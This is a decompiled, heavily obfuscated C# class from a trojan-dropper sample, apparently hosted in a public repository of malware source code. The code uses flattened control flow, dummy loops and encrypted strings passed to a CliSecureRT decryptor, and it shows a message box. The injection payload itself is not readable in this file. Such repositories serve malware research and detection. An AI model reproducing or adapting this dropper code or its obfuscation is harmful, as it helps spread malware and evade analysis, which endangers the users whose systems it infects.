MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.dblt-7c6234b9971bafa36775d3f787a0c6953ddd3783cc4702e2d3881a5e33b7586b/nQGXD0Fz1GVZtG4EJurMG.cs
2022-08-18 06:28:56 -05:00

119 lines
6.0 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: _2012_D.nQGXD0Fz1GVZtG4EJurMG
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.dblt-7c6234b9971bafa36775d3f787a0c6953ddd3783cc4702e2d3881a5e33b7586b.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Windows.Forms;
namespace _2012_D
{
[StandardModule]
internal sealed class nQGXD0Fz1GVZtG4EJurMG
{
public static object gZs7PuDK9SP66z6UNI31366()
{
label_2:
int num1 = 3;
while (true)
{
Decimal num2;
string str;
bool flag;
switch (num1)
{
case 0:
str = \u003CCliSecureRT\u003E.cs("\u001F\u0085Æ⃜)VP\u007F\u001A\u009F\u0080M5*\u001F C‼\u00B2\u20C5\u001D}\u0090IXŲ¢°Ú}U\u0018\u0010\u2075È\u0095ì¯Î\u001B\u001F\bˆ\u00B9·\u20F7\u001Ar\u009Cº+");
flag = false;
num1 = 2;
continue;
case 1:
str = \u003CCliSecureRT\u003E.cs("V\u0090 D\u001C\u001BkH,þñDT)]j\u001C\u007F\u0015\u0095\u0018\u001BÕ\u0010/\u0012\u00AD\u0087\u00BD)\u0019\"u\"ýOø\u0091ÿ\u0005\u0014\u0016FÞ±ø3qüØbI\u00B9Ù F§BÍcE.\f\u0099\u00B39\u001CPõ\u0002veB\u00B3\u0096»IþY\u0096ëÔq\v|Ë\u0093Àçè\u007F3n<");
flag = false;
num2 = 14M;
break;
case 2:
label_5:
break;
case 3:
num2 = 57951862M;
num1 = 0;
continue;
default:
goto label_2;
}
flag = true;
if (true)
num1 = 1;
else
goto label_5;
}
}
private static object s8P1wEv2()
{
label_2:
int num1 = 3;
long num2;
long num3;
string str;
double num4;
int num5;
while (true)
{
switch (num1)
{
case 0:
int num6 = 4100732;
\u003CCliSecureRT\u003E.cs("V\u0099ý\u0019Ú\u0004‸J\u001EéÖ,@ZĄ\u200C\a˛nÉqM\u0096_\u001BE\u00B9ïȲ\u001D\b)*\u0013\u008B\u007F\u0099µÝX\0Gˆ\u20F2⃔\u2062\n ܺFÂ\u008D/‶Ò\u000Fƅp$ÍUÙÓû\u200E`\u2086\b\fSF\u009EÙ\u0094Xú˷Ù ÌX\u001E\u202DÆøÄ\u2072ãc7I>ó®ƦƑ+₦-⁼â/>\u0098±ÀEöÝ\u0019\u2082¶);-Ÿ\u001ApÄí⁉\v⁉\u0010_Z{adV\u0097※\u206C\v\u20CCëØ\u0004X\u206Aoeöoó\u20CDÿ±dB/Ú ëY\u001B\u008CÃ:˼µġNI\u20CAN\u0091V\u0011Ĭ\u0012\u0081\v\fSL×ÄrWZ¬\u200C");
num4 = 4.0;
num5 = 7127305;
num6 = 326;
\u003CCliSecureRT\u003E.cs("k\u008D¤\u00109GCQ6Ê");
num1 = 2;
continue;
case 1:
goto label_9;
case 2:
do
{
\u003CCliSecureRT\u003E.cs("d\u0099\u00B2Jⁱ,r\u001C\u0006ÓæX\u000E%![\u0017;n¶₌\n\u0081µ");
num5 = 2897;
num2 = 9L;
str = \u003CCliSecureRT\u003E.cs("X\u0091Î\taE`y\n\u0081\u0086\u0012T\a\u001E~Y~\u0017\u0086\u0017kØ`De\u008B\u009BÌ6T<\u0004\u0015ÉV»Ä\u0094[w\u001E3ا\u009944æÀ|\u0002ÐÀ?9\u008E\u001B\u00B2b${\b\u009BÞX\u001E,Îypr@\u009E\u0093\u0098M\u0092HÿèÒ)\u0003SÀ\u00B2·\u0088\u0090\u0019.s[ÿÍÄ7UÉ\u0090\u0014ï\u0011,\u009C\u0087É*\u00BC\u008F_çóE\u0010\u0016L\u0016\vÞã8\u0002Y\\YqyO\u0081\u0018\u0011îl!U\u009Eý¬a^~\a\u0017âj©\u009A\u009Dp5yIÕËûHpçÒ*sûú\u0006;Ø\u0006\u0099a2\v\u0003Åê;I+À-\rL=Ð\u0099ßj¥\tÊæ\u008Ay]Q\u0083¥\u00B9");
num4 = 506087363.0;
num5 = 753688;
\u003CCliSecureRT\u003E.cs("˷DZ\u0014\u001E\u2077'\u0099f-\u0087ñ]%<,)GƏ\u001CƷY£ñQ⁗\a⃤í´\nY\0f\u000Fþr¥\u0096ķs,\f.\u008E\u009BúQǓĿÈ※\aëþ\0)\u008FJ\u0082I#6\u0012ÛÈû\u0006₴\u0093:!\t\u206F\u20FEâ\u009AR\u00BC\u001AÕǜ\u0094+æQªµä§è\t\nJƧ⃢y%Që\u008B[ô");
}
while (false);
num1 = 1;
continue;
case 3:
num2 = 98L;
int num7 = 4013743;
do
{
checked { ++num7; }
}
while (num7 <= 278279960);
num3 = 162822L;
\u003CCliSecureRT\u003E.cs("l3¯\\Dž7lS\u206Fí\u008B3\u001D\u0018åag4\b\u0094F\aÕ¨E˦µèƉ\u2077\u0005x\u001E*\u00951ûÝ\u008BN6s!ªÌ\u0080į\rú₪B\u0016Âₕ⁅ů\u008DB\u0088f?5Ś\u009A´[\u001DÊę\u001Cdċ¯₸Å\u0005ñ_Ñǜ*CN{⃫⃝ä\u20FF\u008Dx\u001Fu(J\u009Dº0K\u00BD\u0088\aÔ(bßƢ₽m₤§dDZÌ=m\u206B\"");
str = \u003CCliSecureRT\u003E.cs("ţÑìDwði\u0005ʉ\u00907\u2069⁌⁈ǶU\u0014^ˤµA\u0002\u008E\u0014⁏g´\u00B2Ȳ\u0005`ķ4yôn\u009BÚ×A>wŽž°\u20F7Y");
int num8 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("]ₚÁ\u0013l\u001A@ŏzæÜ⁐Q\u2076\u001FLJf\u0019ÓEZì\u001B7I\u00B2\u008F⃔ey-\u0001)ù*±Ï\u009Cr|\u200Ffȱ^[g\u0096Ì5\tÜç0ºIºRHx\u001EÜ\t\b\u007FCß8\u0013H\tkÒÝvGuÅé\u0092BMsÙ⃝Ù\u008BÕNb\\ãy\u0092$%ÊÇ:ì\a9\u008A\u00B2Ët÷⃕\u000E₻¸⁑{)ťD\u2076ÇǤU⁌G\u0005ůDưºoO\u2087Ř\vv\u20C5\u008D\u0087\u001Ce⁔6(ôªÀₜu/`H\u0082\u009C\u0096\f\u0016\u0082ãzOµï\u0010'ÌY\u0091h\u001CĬg»¡(\u0004eÆ\u0003\r\n,\u20C5₹"));
num1 = 0;
continue;
default:
goto label_2;
}
}
label_9:
num3 = 8L;
\u003CCliSecureRT\u003E.cs("T₻ó(8⃝;\u001E\"Åöÿ\u0002-\u0004+Ŕe£\u00BC\u00AD\u0010ܵY~\u0085\u0090d=|+\u0010\u0012ÆŸ_⃝áS.®9ƌ\u008A\u2062FmùÓ");
\u003CCliSecureRT\u003E.cs("\u0019\u0091\u2081!yJ$‟\u0001çÿñ\u0011H⁾Jn'M\u20FCt\b\u008A\u0018(\u001E\u0085\u0089\u008Ap£\u001A4-ëZé\u00B3\u009B\u0004\u0014\u20832¥\u009D\u0099(b\u0087¨‣y¡àK\u009F\u20CB\a⃞ƥ Á\u0010±Ñ⁒\u0004Aé\u001A⁻ŗ!\u0084Ç⃖ «\u0016Ú×\u0082f@]£\u0084Ô\u0080íh\aK\u0018\u0090\u008D\u008C”\u0013Êó:Ô\u0005h©\u0099₺x¡\u20F5\u0003Ý¿\u0001\"3[\u2083\u0014ÌìĢ_C+MZ4‼×\u0003_ÚlAMÊã¶\u2070\u007Fǘ\u001A");
return (object) 949;
}
}
}